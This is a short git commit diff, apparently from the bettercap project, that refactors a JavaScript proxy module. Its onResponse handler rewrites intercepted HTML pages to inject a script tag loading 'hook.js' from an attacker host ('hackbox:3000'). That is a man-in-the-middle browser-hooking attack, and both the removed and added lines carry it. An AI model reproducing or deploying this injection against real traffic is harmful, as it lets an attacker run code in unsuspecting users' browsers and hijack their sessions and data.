refact: several fixes and optimizations to the proxy

This commit is contained in:
evilsocket 2018-01-07 23:22:33 +01:00
commit 7248dd701a
3 changed files with 28 additions and 13 deletions

View file

@ -3,7 +3,14 @@ function onLoad() {
}
function onResponse(req, res) {
if( res.ContentType.indexOf("text/html") == 0 ){
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
);
res.Updated();
}
}
}